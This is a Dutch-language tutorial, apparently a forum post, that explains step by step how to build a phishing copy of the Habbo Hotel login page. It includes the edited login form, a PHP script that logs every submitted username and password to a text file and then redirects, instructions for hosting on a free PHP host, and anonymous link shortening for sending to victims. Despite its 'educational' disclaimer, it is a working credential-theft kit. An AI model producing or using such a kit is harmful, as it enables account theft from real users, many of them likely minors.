Phising site maken

Dit is voor educatieve doeleinden, je mag dit NOOIT misbruiken. Als je dit toch van plan bent is het je eigen verantwoordelijkheid. Je bent gewaarschuwt.

In deze tutorial ga ik je laten zien hoe je een phising site maakt, en wat het doet.
Een phising site is een site dat meestal een exacte kopie is van de site die je wilt bezoeken, alleen het login script is aangepast en slaat jou gegevens op zonder dat je het merkt. Bijv. met habbo hotel.

Benodigdheden

PHP editor - Notepad++ (Je kan andere gebruiken maar ik gebruik in de tutorial N++)
Webhost die PHP ondersteund - woelmuis.nl

Het echte werk

Als eerst gaan we de broncode van de site kopieëren en aanpassen, dit doe je door op rechtermuisknop te klikken op de gewenste site en klik op: 'Paginabron weergeven'. Selecteer nu alles, kan dmv. CTRL + A of rechtermuisknop en alles selecteren te klikken. Kopieër en plak de code in je editor.
Klik nu op CTRL+F(zoeken) en zoek naar: POST, als je meer dan 1 overeenkomst heb zoek je de meest logische uit, de login functie:

    <form id="[b] login[/b]formitem" name="loginformitem" action="https://www.habbo.nl/account/submit"

          method="post">

Verander 'POST' (zonder de '') naar 'GET' en verander action="https://www.habbo.nl/account/submit" naar:
'login.php' (zonder '').
Dan heb je als het goed is dit:

    <form id="loginformitem" name="loginformitem" action="login.php"

          method="GET">

Sla het vervolgens op als index.html (zorg ervoor dat er het geen .html.txt maar gewoon .html is.
Als je dat hebt gedaan kunnen we beginnen met het PHP gedeelte.
Maak een nieuw document met de volgende code erin:

<?php
header ('Location: http://habbo.nl/admin '); //de site waar je na het 'inloggen' terecht moet komen.
$handle = fopen("p4ssw0rds.txt", "a"); //dit is de naam van het tekstbestand waar de gegevens in terecht komen.
foreach($_GET as $variable => $value) {
	fwrite($handle, $variable);
	fwrite($handle, "= ");
	fwrite($handle, $value);
	fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle) ;
exit;
?>

Sla dit op als login.php

Ga nu naar woelmuis(KLIK) en maak een nieuwe account.
Activeer je account door op de link in je mail(moet je invullen bij registreren),login en ga naar de File manager(KLIK) Upload je 2 bestanden.
Klik nu op je 'index.html' en login(met nepgegevens) op je phising site.

Als je nu opnieuw naar je file manager gaat is er een .txt bestand gemaakt met de door jou ingevulde gegevens.

Als je een kortere link wil kan je naar dot.tk gaan en daar je link in tevullen, klik op volgende vul de vereiste info in en klik onder Anoniem op bevestig. Je kan nu je ~site~.TK stuur mensen naar de site en je krijgt hun login gegevens!

//p03WS

Reacties (24)

Plaats reactie